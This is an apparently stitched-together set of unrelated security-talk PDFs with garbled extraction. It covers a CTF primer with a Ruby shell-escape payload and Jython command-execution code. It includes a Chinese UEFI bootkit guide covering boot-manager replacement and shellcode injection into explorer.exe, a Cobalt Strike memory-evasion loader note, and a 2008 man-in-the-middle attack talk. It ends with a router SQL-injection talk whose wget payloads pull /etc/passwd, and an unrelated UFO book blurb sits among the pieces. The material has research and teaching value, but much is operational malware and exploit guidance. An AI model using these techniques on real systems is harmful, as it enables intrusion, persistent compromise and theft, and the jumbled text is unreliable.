 ***LstackLsmashingLdetectedL***:L./e100L terminated
 EnterLpassword:LAbortedL(coreLdumped) reverse 介紹 - 逆向工程 - 從 執行檔 反推 組合語言 - 從 組合語言 瞭解程式的行為 DEFCON baby-re reverse $L./baby-reL Var[0]:L1L Var[1]:L1L Var[2]:L1L Var[3]:L1L Var[4]:L1L Var[5]:L1L Var[6]:L1L Var[7]:L1L Var[8]:L1L Var[9]:L1L Var[10]:L1L Var[11]:L1L Var[12]:L1L Wrong $LobjdumpL-dLbaby-re 00000000004025e7L<main>:L ...L LL402605:L bfL08L2aL40L00LLLLLLLL movLLLL$0x402a08,%ediL LL40260a:L b8L00L00L00L00LLLLLLLL movLLLL$0x0,%eaxL LL40260f:L e8L6cLdfLffLffLLLLLLLL callqLL400580L<printf@plt>L LL402614:L 48L8bL05L3dL0aL20L00LL movLLLL0x200a3d(%rip),%raxL#L603058L<__TMC_END__>L LL40261b:L 48L89Lc7LLLLLLLLLLLLLL movLLLL%rax,%rdiL LL40261e:L e8L7dLdfLffLffLLLLLLLL callqLL4005a0L<fflush@plt>L LL402623:L 48L8dL45La0LLLLLLLLLLL leaLLLL-0x60(%rbp),%raxL LL402627:L 48L89Lc6LLLLLLLLLLLLLL movLLLL%rax,%rsiL LL40262a:L bfL11L2aL40L00LLLLLLLL movLLLL$0x402a11,%ediL LL40262f:L b8L00L00L00L00LLLLLLLL movLLLL$0x0,%eaxL LL402634:L e8L77LdfLffLffLLLLLLLL callqLL4005b0L<__isoc99_scanf@plt>L ...L LL4028d9:L 48L8dL45La0LLLLLLLLLLL leaLLLL-0x60(%rbp),%raxL LL4028dd:L 48L89Lc7LLLLLLLLLLLLLL movLLLL%rax,%rdiL LL4028e0:L e8Le1LddLffLffLLLLLLLL callqLL4006c6L<CheckSolution>L LL4028e5:L 84Lc0LLLLLLLLLLLLLLLLL testLLL%al,%alL LL4028e7:L 74L58LLLLLLLLLLLLLLLLL jeLLLLL402941L<main+0x35a>L LL4028e9:L 44L8bL65Ld0LLLLLLLLLLL movLLLL-0x30(%rbp),%r12dL ... reverse $LobjdumpL-sLbaby-re ContentsLofLsectionL.rodata:L L402a00L01000200L00000000L5661725bL305d3a20LL........Var[0]:LL L402a10L00256400L5661725bL315d3a20L00566172LL.%d.Var[1]:L.VarL L402a20L5b325d3aL20005661L725b335dL3a200056LL[2]:L.Var[3]:L.VL L402a30L61725b34L5d3a2000L5661725bL355d3a20LLar[4]:L.Var[5]:LL L402a40L00566172L5b365d3aL20005661L725b375dLL.Var[6]:L.Var[7]L L402a50L3a200056L61725b38L5d3a2000L5661725bLL:L.Var[8]:L.Var[L L402a60L395d3a20L00566172L5b31305dL3a200056LL9]:L.Var[10]:L.VL L402a70L61725b31L315d3a20L00566172L5b31325dLLar[11]:L.Var[12]L L402a80L3a200000L00000000L54686520L666c6167LL:L......TheLflagL L402a90L2069733aL20256325L63256325L63256325LLLis:L%c%c%c%c%c%L L402aa0L63256325L63256325L63256325L6325630aLLc%c%c%c%c%c%c%c.L L402ab0L0057726fL6e6700LLLLLLLLLLLLLLLLLLLLLL.Wrong.LLLLLLLL reverse decompiled by hopper reverse functionLCheckSolutionL{L LLLLvar_2B8L=Larg0;L LLLLvar_8L=L*0x28;L LLLLvar_2B0L=L0x926cL^L0x1;L LLLLvar_2ACL=LSAR(0x2a3a8,L0x3);L ...L ifL(*(int32_tL*)(var_2B8L+L0x30)L*L0xd5e5L+L*(int32_tL*)(var_2B8L+L0x2c)L*L0x99aeL+L *(int32_tL*)(var_2B8L+L0x28)L*Lvar_288L+L*(int32_tL*)(var_2B8L+L0x24)L*L0x3922L+L *(int32_tL*)(var_2B8L+L0x20)L*L0xe15dL+L*(int32_tL*)(var_2B8L+L0x1c)L*Lvar_294L+L *(int32_tL*)(var_2B8L+L0x18)L*Lvar_298L+L*(int32_tL*)(var_2B8L+L0x14)L*L0xa89eL+L (var_2B0L*L*(int32_tL*)var_2B8L-L*(int32_tL*)(var_2B8L+L0x4)L*Lvar_2ACL-L*(int32_tL*) (var_2B8L+L0x8)L*Lvar_2A8L-L*(int32_tL*)(var_2B8L+L0xc)L*L0xb4c1)L+L*(int32_tL*)(var_2B8L +L0x10)L*Lvar_2A0L!=L0x1468753)L{L LLLLLLLLLLLLraxL=L0x0;L LLLL}L ...L rsiL=Lvar_8L^L*0x28;L LLLLCONDL=LrsiL==L0x0;L LLLLifL(!COND)L{L LLLLLLLLLLLLraxL=L__stack_chk_fail();L LLLL}L LLLLreturnLrax;L } 所以題目的意思其實是 13維度的矩陣 MA = B M, B 已知︐A = M-1B 解題方式 XD 解題方式 剩下的就是求反矩陣了︐但是最難的也在這邊 注意一般的反矩陣是在實數系的群(group)下 但是這題是在 modulo (mod 2 32)之下︐因為 C語言︓int a, b; a *= b; // a 還是 32bit 組合語言︓imul %edx 把 %edx * %eax 運算結果
 (可能範圍從 -2 31 ~ 2 31 變為 -2 63 ~ 2 63 )存到 %edx:%eax 解題方式 要怎麼算 M -1 modulo 呢︖ M -1 real 可以用 library 算出來︐而 M -1 real = 1 / det(M) * M' 而 1 / det(M) 是 det(M) 在實數群下的反元素︐要把它換成在 modulo 下的反元素 det(M) -1 modulo(可以用輾轉相除法算出) M -1modulo = det(M) -1 modulo × det(M) × M -1 real (mod 2 32) = det(M) -1 modulo × M'(mod 2 32) 最後再 A = M -1B = ︐flag 也就是 "Math is hard!" misc 介紹 在 misc 中會有各式各樣的題目 各種語言︐語法或是對電腦的理解 個人覺得 misc 的題目比較像是出題者的興趣︐看他覺得什麼 有趣︐什麼是個他希望大家知道的議題︐或是很單純的︐讓 大家解正規題之餘休息娛樂一下
 (有時候題目會很好笑 XD) HITCON 2015, misc hard-to-say (200 points) hard_to_say.rb <limit> misc #!/usr/bin/envLrubyL failL'flag?'LunlessLFile.file?('flag')L $stdout.syncL=LtrueL limitL=LARGV[0].to_iL putsL"Hi,LILcanLsayL#{limit}LbytesL:P"L sL=L$stdin.gets.strip!L ifLs.sizeL>LlimitL||Ls[/[[:alnum:]]/]L LputsL'oh...LILcannotLsayLthis,LmaybeLitLisLtooLlongLorLtooLweirdL:('L LexitL endL putsL"ILthinkLsizeL=L#{s.size}LisLokLtoLme."L rL=Leval(s).to_sL r[64..-1]L=L'...'LifLr.sizeL>L64L putsLr misc 簡單來說 要輸入一個字串讓 Ruby 執行 但是字串長度有限制 1024, 64, 36, 10 (byte) 而且 字串裡不能有任何字母及數字 (A-Za-z0-9) 基本想法︓在 Ruby 中執行 `sh` 但是字串中不能有字母 所以我打算去 $: 找 "sh" misc 在 Ruby 中 $ 開頭的變數 有不同的意思 $!LLTheLexceptionLinformationLmessage.LraiseLsetsLthisL variable.
 $~LLTheLinformationLaboutLtheLlastLmatchLinLtheLcurrentL scope
 $.LLTheLcurrentLinputLlineLnumberLofLtheLlastLfileLthatL wasLread.
 $:LLTheLarrayLcontainsLtheLlistLofLplacesLtoLlookLforL RubyLscriptsLandLbinaryLmodulesLbyLloadLorLrequire.L ...... 還有很多個 misc 研究一下發現 $:[1][6..7] 是 "sh" 而且 $. 是 1 來湊出 `sh` 吧 解題方式 我的答案︓L_=$.+$.;`#{$:[$.][(_*=_+$.).._+$.]}`L (36 byte) 可解 1~3小題 分析一下 _L=L$.L+L$.L LL=L2L `#{str}` 是執行 str 的意思 $:[$.][(_*=_+$.).._+$.]L L=L$:[1][(_=6).._+1]L L=L$:[1][6..7] 解題方式 但是最後的 10 byte 小題 怎麼想都不能用湊字串的方式 後來才想到 $0 在 bash 中代表的是執行 script 的程式 也就是 bash 或是 sh 只要能湊出 $0 就可以了 `$#{~-$.}`L L=L`$#{~-1}`L#L“~”LLCLL“~”LLL L=L`$#{0}`L L=L`$0`L 給初學者的建議 Wargame http://overthewire.org/wargames/ 如何從 0 開始打 CTF - 先認識 CTF︐嘗試 wargame 暖身 - 也許找人組隊︖ - 取一個名字︐因為報名需要用到隊伍名稱 如何從 0 開始打 CTF 開啟 CTFtime (https://ctftime.org/) ︐ 選一場比賽 預備知識 - C 語言是必備的 - 會組合語言更好 (x86, ARM) - 加強底層知識 - 再熟悉一個 Script Language - 學習使用工具 C 語言 C 是最重要的基礎︐切記不是 C++︐更不是 Java 或 C# C 中比較難的部分 - 指標 - 指標的指標 - 指標的指標的指標 組合語言(Assembly) 在一般的 PC 上是 x86( IA32 )︐手機等是 ARM 組合語言跟 C 比較不一樣的議題 - 暫存器(Register) - 指令集(mov, add, je, push, pop, xchg, ...) - 以 jmp 或有條件的 jmp 來完成 C 的結構(if, switch, while) - 函式呼叫慣例(Calling Convention) - 動態聯結(Dynamic Linking) 關鍵字 PHP SQL HTTP HTML Java Script CSS SQLIA XSS CSRF Session Hijacking Clickja cking PHP vulnerability Race Condition Objection Injection Shell Injection FRONTEND BACKEND … … Recommend for Beginner web Linear Algebra Abstract Algebra DES AES RSA Diffie- Hellman Hash Digital Signature Public Key Infrastructure Elliptic Curve MATH … ENCRYPTION ALGORITHM … … Recommend for Beginner crypto C syscall String Format Attack LANG … OS ATTACK … … Buffer Overflow ret2libc GOT Hijacking BROP ROP glibc Recommend for Beginner exploit Assembly C Assembly Compiling Linking PLT Memory LANG … COMPILER OS … … CPU File System Recommend for Beginner reverse Books • • Computer Systems A Programmer’s Perspective • Understanding Cryptography • The Shellcoder’s handbook Resource • Google • https://www.exploit-db.com/ • http://www.wooyun.org/ • http://dblp.uni-trier.de/ 最後 結論 • 入門資安領域〸分不容易 • 什麼都學︐不要排斥任何的語言、語法、實作細節 • 打 CTF︐知道哪裡不足 → 讀書 → 做題目驗證 → 讀 write up • 保持興趣︐不要放棄 • 找到一起奮鬥的夥伴︐以及參加社群 歡迎加入 skybullet 現狀 - 人手不足︐打比賽很辛苦 - 方向未定 Q & A
pdf
package com.pynerd.example.methods; import org.python.core.PyFunction; import org.python.core.PyObject; import org.python.util.PythonInterpreter; import java.lang.reflect.InvocationTargetException; public class JythonDemo1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMe thodException, InvocationTargetException, IllegalAccessException { PythonInterpreter pyInter = new PythonInterpreter(); PyFunction func = pyInter.get("funcName" , PyFunction.class); func.__call__((PyObject) Class.forName("java.lang.Runtime").getMethod("exe c",String.class) .invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime") .invoke(Class.forName("java.lang.Runtime")),"open -a calcul ator")); } } package com.pynerd.example.methods; import org.python.core.PyFunction; import org.python.core.PyObject; import org.python.util.PythonInterpreter; import java.lang.reflect.InvocationTargetException; public class JythonDemo2 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMe thodException, InvocationTargetException, IllegalAccessException { PythonInterpreter pyInter = new PythonInterpreter(); PyFunction func = pyInter.get("funcName" , PyFunction.class); func.__tojava__((Class<?>) Class.forName("java.lang.Runtime").getMethod("e Run Shell Command in Jython xec",String.class) .invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime") .invoke(Class.forName("java.lang.Runtime")),"open -a calculat or")); } } package com.pynerd.example.methods; import org.python.util.PythonInterpreter; public class JythonDemo3 { public static void main(String[] args) { PythonInterpreter pyInter = new PythonInterpreter(); pyInter.exec("from java.lang import Runtime;\n" + "Runtime.getRuntime().exec(\"open -a calculator\")"); } }
pdf
MBR Bootkit不在叙述写这个的还是比较多的,UEFI Bootkit相较于MBR Bootkit从某种意义上来说开发 要更为方便因为UEFI具有统一规范可以直接使用C/C++上手开发。 在正式介绍前先来简单说一下UEFI下Windows启动过程 1. 基本过程如下 PC开机,加电自检固件UEFI加载执行,初始化硬件 2. 固件UEFI根据启动项从EFI分区中加载并启动 \EFI\Microsoft\boot\bootmgfw.efi (Windows boot manager) 3. bootmgfw.efi加载启动Winload.efi(Windows Os loader) 4. Winload.efi加载执行Ntoskrnl.exe并将控制权移交给操作系统 我们此次开发的Bootkit从第二步入手直接替换bootmgfw.efi,为我们的loader,这个loader只有一个功 能执行我们的UEFI驱动。我们的UEFI驱动在后门环境部署完成后回去加载执行原始的bootmgfw.efi进入 正常的Windows引导流程(我们以上内容皆在Secure Boot关闭状态下为前提,如果Secure Boot开启会 在执行我们的loader的时候就卡死因为签名校验不过) UEFI驱动入口点如下 EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable) { EFI_STATUS status; //CalculateCrc32 originalExitBootServices = gBS->ExitBootServices; gBS->ExitBootServices = HookExitBootServices; //注册事件回调,在os loader 调用SetVirtualAddressMap时通知我们 //根据Edk2文档可以选用CreateEventEx配合gEfiEventVirtualAddressChangeGuid或 EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE //SetVirtualAddressMapEvent 我们首先HOOK掉ExitBootServices因为此处是一个关键函数。 在Winload.efi中会对这个函数进行调用,此函数的作用是结束启动服务(EFI Boot Service)标志着操 作系统已经准备就绪,官方文档 我们HOOK这里的目的是为了寻找被加载到内存中的ntoskrnl。为了寻找到ntoskrnl,我们需要先找到 LOADER_PARAMETER_BLOCK这个结构体存储着所有的模块信息(具体请参照OslLoaderBlock函数) 找到之后我们就可以开始遍历 status = gBS->CreateEvent(EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &virtualEvent); if (status != EFI_SUCCESS) { DebugPrint(L"CreateEvent err"); } EFI_DEVICE_PATH* BootmgfwPath; EFI_HANDLE BootmgfwImageHandle; //转换路径 UtilLocateFile(BootmgfwDiskPath, &BootmgfwPath); //加载bootmgfw.efi status = gBS->LoadImage(TRUE, ImageHandle, BootmgfwPath, NULL, 0, &BootmgfwImageHandle); if (status != EFI_SUCCESS) { DebugPrint(L"LoadImage No bootmgfw.efi"); } //启动 status = gBS->StartImage(BootmgfwImageHandle, 0, 0); return status; } 随后搜索内核中的KeInitAmd64SpecificState函数这个是PG初始化执行的函数我们需要对它进行修补 继续搜索StartFirstUserProcess函数,这函数在内核中负责启动SMSS进程,但是我们并不能在这里直接 HOOK它因为此时我们还处在物理地址,而StartFirstUserProcess函数在保护模式是虚拟地址等会系统 启动我们需要转换后才能HOOK,我们这里只记录一下函数地址 在UefiMain函数中我们曾设置了一个回调函数NotifySetVirtualAddressMap,当os loader调用 SetVirtualAddressMapEvent函数就会通知我们此时我们就可以在NotifySetVirtualAddressMap函数中 通过ConvertPointer转换物理地址与虚拟地址对StartFirstUserProcess函数进行hook 剩下的就等待内核调用StartFirstUserProcess,然后我们创建一个系统线程去执行操作并调用原始的 StartFirstUserProcess函数 在KernelMainThread线程里我们主要操作就是设置一个进程回调 设置进程回调的目的是等待用户登录时创建explorer.exe进程,当截获后我们就可以向其中注入 shellcode 替换文件 PS C:\Users\Admin\Desktop> Get-Volume | Select DriveLetter, FileSystemLabel, FileSystemType, Size, Path | Format-Table -Autosize DriveLetter FileSystemLabel FileSystemType       Size Path 当用户登录时会自动向其中注入shellcode启动木马 ----------- --------------- --------------        ---- ----                           FAT32            205520896 \\?\Volume{5c8da14f-26c0- 47cd-a477-74579d52e3c8}\ C                           NTFS           85553311744 \\?\Volume{6a0f8490-1d99- 448e-9c21-9016ebc6113f}\ D                           Unknown                  0 \\?\Volume{89e0f2f6-d4fc- 11eb-a1ef-806e6f6e6963}\ 选择FAT32分区 PS C:\Users\Admin\Desktop> cmd /c rename "\\?\Volume{5c8da14f-26c0-47cd-a477- 74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" "bootmgfw2.efi" PS C:\Users\Admin\Desktop> cmd /c copy Test.efi "\\?\Volume{5c8da14f-26c0-47cd- a477-74579d52e3c8}\EFI\Microsoft\Boot\" /Y 已复制         1 个文件。 PS C:\Users\Admin\Desktop> cmd /c copy load_test.efi "\\?\Volume{5c8da14f-26c0- 47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" /Y 已复制         1 个文件。 项目代码 https://github.com/WBGlIl/Test_UEFI 编译请替换samples.default.props文件中的EDK_PATH和LibraryPath 目标系统版本:Windows 21H1 总结 UEFI Bootkit木马的一大难题在于Secure Boot,上面我们演示了非固件类的UEFI Bootkit,固件的类的 UEFI Bookit可以做到即使更换硬盘都不会失效极其隐蔽但是固件UEFI需要写入SPI,这需要绕过多种保护 措施但是一旦成功效果会非常好 相关参考 https://github.com/SamuelTulach/rainbow https://wikileaks.org/ciav7p1/cms/page_36896783.html https://uefi.org/sites/default/files/resources/UEFI-Plugfest-WindowsBootEnvironment.pdf https://www.kaspersky.com/about/press-releases/2021_finfisher-spyware-improves-its-arsenal-wi th-four-levels-of-obfuscation-uefi-infection-and-more https://www.4hou.com/posts/PrM2 https://www.4hou.com/posts/8O52 https://edk2-docs.gitbook.io/
pdf
1 CobaltStrike内存免杀-AceLdr 分享⼀个 CobaltStrike内存免杀的⼯具. https://github.com/kyleavery/AceLdr 作者收集了市⾯上公开的内存查杀技术, 1. Hunt-Sleeping-Beacons 2. BeaconHunter 3. BeaconEye 4. Patriot 5. Moneta 6. PE-sieve 7. MalMemDetect. 然后再做出对应的对抗,涉及到的技巧: Creates a new heap for any allocations from Beacon and encrypts entries before sleep. Changes the memory containing CS executable code to non-executable and encrypts it (FOLIAGE). Certain WinAPI calls are executed with a spoofed return address (InternetConnectA, NtWaitForSingleObject, RtlAllocateHeap). Delayed execution using WaitForSingleObjectEx. All encryption performed with SystemFunction032. 测试效果 - QQmusic是经过处理后的 - acelr是默认⽣成 ● ● ● ● ● 2
pdf
1 Owning the Users With “The Middler” Copyright 2008 Jay Beale Jay Beale Co-Founder, Intelguardians Author, Bastille UNIX 2 Copyright 2008 Jay Beale Talk Agenda I’m releasing The Middler now, an attack proxy tool to automate attacks on browsers and everything else using HTTP. Here’s the Talk Agenda: • The Attack Vector: Shared Networks • Automatically exploiting mixed HTTP/HTTPS sites, including Gmail, LinkedIn and LiveJournal • Launching non-interactive CSRF attacks on Online Banks • Trojaning software installation and update • Injecting browser-exploits and adding root certificates • Protecting yourself on hostile LANs 3 Copyright 2008 Jay Beale HTTP and Shared Networks Don’t Mix Most users use a tremendous number of shared networks when they leave their homes and offices. • Hotels • Non-security Conferences • Coffee Shops / Bookstores • Airplanes Whether those are wireless or wired networks, they open themselves up to application-level monitoring and attack constantly. 4 Copyright 2008 Jay Beale Proxy Attacks If we share a LAN, I can view and modify all of your traffic: I can replace the real DHCP server on the network, setting my laptop up as your DNS server, DHCP server, and router. OR I can ARP spoof the real router and any local DNS servers. 5 Copyright 2008 Jay Beale Mixed HTTPS/HTTP Sites are a Menace Many companies misunderstand that encrypting only their application’s password form leaves their users very vulnerable to man in the middle attacks. Before we demo an attack on this, let’s look at how LinkedIn.com works. If you start up your browser with https://www.linkedin.com, click on “Sign In,” you’ll be taken to this URL: https://www.linkedin.com/secure/login?trk=hb_signin Following sign-in, you’re taken to this one: http://www.linkedin.com/home 6 Copyright 2008 Jay Beale What if I change the URL? You can change the URL to: https://www.linkedin.com/home …but clicking on any link will just take you right back to an HTTP URL! Unless you modify your browser or surf with a special defensive proxy, you’ll constantly be pulling down cleartext links. And all I have to do as an attacker is inject my own Javascript into a single one of those. 7 Copyright 2008 Jay Beale How Do I Attack This? First, direct the client to my host with DNS, DHCP or ARP spoofing. Second, pass the HTTPS traffic through unmodified, but: 1) Inject Javascript into the cleartext traffic. 2) Store session keys and send my own parallel requests. 3) Intercept logout requests. 4) Replace HTTPS links in any proxied pages with HTTP links. Best of all, I’m releasing a tool right here to do this. It features a rich plug-in architecture to let other people add on handling for sites we’re not including in this release. 8 Copyright 2008 Jay Beale DEMO: The Middler Interactively, we can • Clone session for the attacker by transparently using the same cookies and form parameters as the user. • Inject Javascript into every HTML page • Log the valid user’s session. Let’s demonstrate these. But the real power is in site-specific features, which we’ll demonstrate with: • Gmail • LiveJournal • LinkedIn 9 Copyright 2008 Jay Beale Demo: Gmail Once the Gmail session moves back into cleartext, we can: • Read the user’s e-mail • Read past GoogleTalk conversations • Harvest the address book • Send our own e-mails • Profile the user in other Google applications • Prevent a real logout, presenting the user with an actual logout 10 Copyright 2008 Jay Beale Demo: LiveJournal Once the LiveJournal session moves back into cleartext, we can: • Read the user’s private and friends-only journal entries • Make the user’s private/friends-only entries public • Harvest the friends list and those friends’ private profiles • Add our own user as a friend 11 Copyright 2008 Jay Beale Demo: LinkedIn Once the LinkedIn session moves back into cleartext, we can: • Read the user’s full contact information • Gather full contact information for their entire Network • Read the user’s Inbox • Add ourselves to their Network • Place the user in our Network 12 Copyright 2008 Jay Beale Start with a CSRF Attack Imagine a non-security friend on a hotel network… He types the name of his online banking site into his browser: http://www.bankofamerica.com He’s used to the bank protecting him from himself. The site reloads the page with an HTTPS version: https://www.bankofamerica.com. It’s already too late. It’s a race condition and he lost. 13 Copyright 2008 Jay Beale Race Condition I have already served him my own index.html file for the HTTP site, which accomplishes the reload, but not before inserting its persistent window. window.open(“http://www.bankofamerica.com/mitm”,”mitm”,’width=1,height=1,sc rollbars=0,menubar=0,toolbar=0,location=0,status=0’); window.blur(“mitm”); document.location.href=“https://www.bankofamerica.com”; While his primary browser window is no longer under my control, I can continue to serve my own version of the bank’s website. From there, I’ll wait for the user to log in to the main site, then begin CSRF attacks. How do I know when he logs in? 14 Copyright 2008 Jay Beale Knowing When the User Logs In First, remember that I’m proxying the user’s traffic. Even if I wasn’t, from my persistent HTTP-provided window, I can read the browser history to see what links the user has visited. If the victim has pop-blocking in place, I can even just inject Javascript into any HTTP-carried pages the user has open. 15 Copyright 2008 Jay Beale Knowing When the User Logs In First, remember that I’m proxying the user’s traffic. Even if I wasn’t, from my persistent HTTP-provided window, I can read the browser history to see what links the user has visited. If the victim has pop-blocking in place, I can even just inject Javascript into any HTTP-carried pages the user has open. 16 Copyright 2008 Jay Beale Trojaning Software Installation So far we’ve kept our eyes on web applications. But there’s more that happens over HTTP than that. Several non-giant software vendors do software installation and update over HTTP, with no public key verification of the packages you’ll install. Your system pulls down a page over HTTP that includes available update names, versions, locations, and sometimes MD5sums. 17 Copyright 2008 Jay Beale DEMO: Free Software Installation While the large operating system vendors generally get this right, packaging their own PGP public keys with the original operating system, not everyone does. The Middler has plug-ins to automate: • Installer.app for the iPhone • MacPorts (formerly DarwinPorts) Let’s demo a trojan horse insertion on both my iPhone and my MacbookPro. 18 Copyright 2008 Jay Beale Exploiting Vulnerable Browsers The Middler has one more attack feature. As long as we’re able to inject HTML into a users’ browser windows, we can also serve up client-side attacks from Metasploit. The Middler can insert Javascript to refresh the current page or a pop-under to an exploit that it serves. We could just take the exploit and serve it ourselves, but that’s not as easy to maintain. 19 Copyright 2008 Jay Beale DEMO: Exploiting a Browser Let’s demo this. The user surfs to a page, then gets redirected to the captive portal and pop-ups. We’ll inject Javascript into the portal, which will redirect the browser to an exploit page. 20 Copyright 2008 Jay Beale Protecting Yourself at a Conference What can you do to protect yourself at a conference? You could try bringing your own Internet connection. EVDO/CDMA and HSPDA/GSM modems make this very difficult or at least reduce the attacker pool to people with the equipment and know-how. If this isn’t an option, and even when it is, here’s what I like to do. 21 Copyright 2008 Jay Beale Recipe for a Safer LAN Experience Here’s what I do on a hostile conference network: 1. Set up a dynamic port forwarding SSH tunnel 2. Ask for the DHCP server’s and router’s MAC address and IP addresses 3. Set my DNS servers to localhost or tunnel over SSH 4. Configure my firewall to allow outbound IP traffic only to the SSH tunnel host and the DHCP server. 5. Configure static MAC address (ARP table) entries for the DHCP server and router. Here’s how that works. 22 Copyright 2008 Jay Beale Step 1: Dynamic SSH Port Forward Thanks to Dan Kaminsky, who added this feature to OpenSSH years ago, your SSH client can function as a SOCKS proxy. Most network clients are SOCKS-aware, particularly browsers, mail clients, and instant messenger applications. Just run this command and configure your network clients to use 127.0.0.1:8000 as a SOCKS5 proxy: ssh -C -D8000 user@server The network clients will forward SOCKS5 requests across the encrypted SSH tunnel to your SSH server. The default configuration of most SSH servers allows this automatically. You just need an account. You should put the server name in your /etc/hosts file or use an IP address. 23 Copyright 2008 Jay Beale Steps 2-5 Set your system’s firewall to only allow only this outbound traffic: • Outbound DHCP traffic to udp/67 only to the known DHCP server IP and MAC address and only from udp/68. • Outbound SSH traffic only to your SSH server and only on the port you’re running the SSH server on. • Allow your machine to communicate only with the known MAC address of the router and DHCP server. – Use a static ARP mapping if your firewall doesn’t support this. 24 Copyright 2008 Jay Beale The Middler The Middler attack proxy is Open Source, hosted at: https://www.TheMiddler.com Help us add more plug-ins! 25 Copyright 2008 Jay Beale Questions and Speaker Bio Jay Beale created two well-known security tools, Bastille UNIX and the CIS Unix Scoring Tool, both of which are used throughout industry and government, and has served as an invited speaker at many industry and government conferences, a columnist for Information Security Magazine, SecurityPortal and SecurityFocus, and an author/editor on nine books, including those in his Open Source Security Series and the "Stealing the Network" series. Jay is a security consultant and managing partner at Intelguardians, where he gets to work with brilliant people on topics ranging from application penetration to virtual machine escape.
pdf
Anomalist Books AnomalistBooks.com “Credible people have seen incredible things.” —Major General John Samford Chief of Intelligence United States Air Force March 1953 Governments around the world have had to deal with the UFO phenomenon for a good part of a century. How and why they did so is the subject of UFOs and Gov- ernment, a history that for the fi rst time tells the story from the perspective of the governments themselves. It’s a perspec- tive that reveals a great deal about what we citizens have seen, and puzzled over, from the “outside” for so many years. The story, which is unmasked by the governments’ own documents, explains much that is new, or at least not com- monly known, about the seriousness with which the military and intelligence com- munities approached the UFO problem internally. Those approaches were not taken lightly. In fact, they were consid- ered matters of national security. At the same time, the story reveals how a sub- ject with such apparent depth of experi- ence and interest became treated as if it were a triviality. And it explains why one government, the United States govern- ment, deemed it wise, and perhaps even necessary, to treat it so. Though the book focuses primarily on the U.S. government’s response to the UFO phenomenon, also included is the treat- ment of the subject by the governments of Sweden, Australia, France, Spain, and other countries. “While UFOs and Government revisits an often unhappy history, the reading of it is far from an unhappy experience. The authors, eloquent, intelligent, sophisticated, and con- scientious, provide us with the fi rst credible, comprehensive overview of offi cial UFO history in many years… Most of the current volume deals with U.S. military and intelligence responses to the UFO phenomenon, but it also features richly informative chapters that expand the story across the international arena. If you’re looking for an example of a nation that dealt productively with the UFO reports that came its offi cial way, you will take heart in the chapter on the French projects… From here on, every responsible treatment of UFOs and government will have to cite UFOs and Government prominently among its sources… this is the real story as accurately as it can be reconstructed in the second decade of the new century. I expect to keep my copy close at hand and to return to it often. While it cannot be said of many books, UFO-themed or otherwise, this is among the essential ones. Stray from it at your peril.” — from the foreword by Jerome Clark This book is the result of a team effort that called itself “The UFO History Group,” a collection of veteran UFO historians and researchers who spent more than four years researching, consulting, writing, and editing to present a work of historical scholarship on government response to the UFO phenomenon. Michael Swords was the primary author of the United States chapters. The work was coordinated and edited by Robert Powell. Clas Svahn, Vicente-Juan Ballester-Olmos, William Chalker, and Robert Powell contributed country chapters. Jan Aldrich was the primary content consultant, with additional content consultation and writing coming from Barry Greenwood and Richard Thieme. Steve Purcell was the primary photo illustration editor.
pdf
From SQL Injection to MIPS Overflows Rooting SOHO Routers Zachary Cutlip Tactical Network Solutions Craig Heffner Acknowledgements What I’m going to talk about Novel uses of SQL injection Buffer overflows on MIPS architecture 0-day Vulnerabilities in Netgear routers Embedded device investigation process Live demo: Root shell & more Questions Read the paper Lots of essential details Not enough time in this talk to cover it all Please read it Why attack SOHO routers? Offers attacker privileged vantage point Exposes multiple connected users to attack Exposes all users’ Internet comms to snooping/ manipulation Often unauthorized side doors into enterprise networks Target device: Netgear WNDR3700 v3 Fancy-pants SOHO Wireless Router DLNA Multimedia server File server w/USB storage Very popular on Amazon Other affected devices Netgear WNDR 3800 Netgear WNDR 4000 Netgear WNDR 4400 First step: take it apart UART header UART to USB adapter USB port Helps analysis Retrieve SQLite DB Load a debugger onto the router Analyzing the Device Software Download firmware update from vendor, unpack See Craig Heffner’s blog for more on firmware unpacking http://www.devttys0.com/blog Linux--Woo hoo! $ binwalk ./WNDR3700v3-V1.0.0.18_1.0.14.chk DECIMAL HEX DESCRIPTION --------------------------------------------------- 86 0x56 LZMA compressed data 1423782 0x15B9A6 Squashfs filesystem $ dd if=WNDR3700v3-V1.0.0.18_1.0.14.chk of=kernel.7z bs=1 skip=86 count=1423696 $ p7zip -d kernel.7z $ strings kernel | grep 'Linux version' Linux version 2.6.22 ([email protected]) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011 Target Application: MiniDLNA What is DLNA? Digital Living Network Alliance Interoperability between gadgets Multimedia playback, etc. But Most Importantly... Attack Surface Google reveals: open source! Source code analysis ‘strings’ reports shipping binary is 1.0.18 Download source for our version. Search source for low-hanging fruit SQL injection: more than meets the eye Privileged access to data What if the data is not sensitive or valuable? Opportunity to violate developer assumptions You know what happens when you assume... Your shit gets owned. Vulnerability 1: SQL injection grep -rn SELECT * | grep ‘%s’ 21 results, such as: sprintf(sql_buf, "SELECT PATH from ALBUM_ART where ID = %s", object); Closer look Closer look Album art query Test the vulnerability $ wget http://10.10.10.1:8200/ AlbumArt/"1; INSERT/**/into/**/ ALBUM_ART(ID,PATH)/**/ VALUES('31337','pwned');"- throwaway.jpg w00t! Success! sqlite> select * from ALBUM_ART where ID=31337; 31337|pwned Good news / Bad news Working SQL injection Trivial to exploit No valuable information Even if destroyed, DB is regenerated Vulnerability 2: Remote File Extraction sqlite> select * from ALBUM_ART; 1 | /tmp/mnt/usb0/part1/ .ReadyDLNA//art_cache/tmp/shares/ USB_Storage/01 - Unforgivable (First State Remix).jpg MiniDLNA Database: Test the Vulnerability $ wget http://10.10.10.1:8200/ AlbumArt/"1;INSERT/**/into/**/ ALBUM_ART(ID,PATH)/**/ VALUES('31337','/etc/passwd');"- throwaway.jpg $ wget http://10.10.10.1:8200/ AlbumArt/31337-18.jpg Passwords $ cat 31337-18.jpg nobody:*:0:0:nobody:/:/bin/sh admin:qw12QW!@:0:0:admin:/:/bin/sh guest:guest:0:0:guest:/:/bin/sh 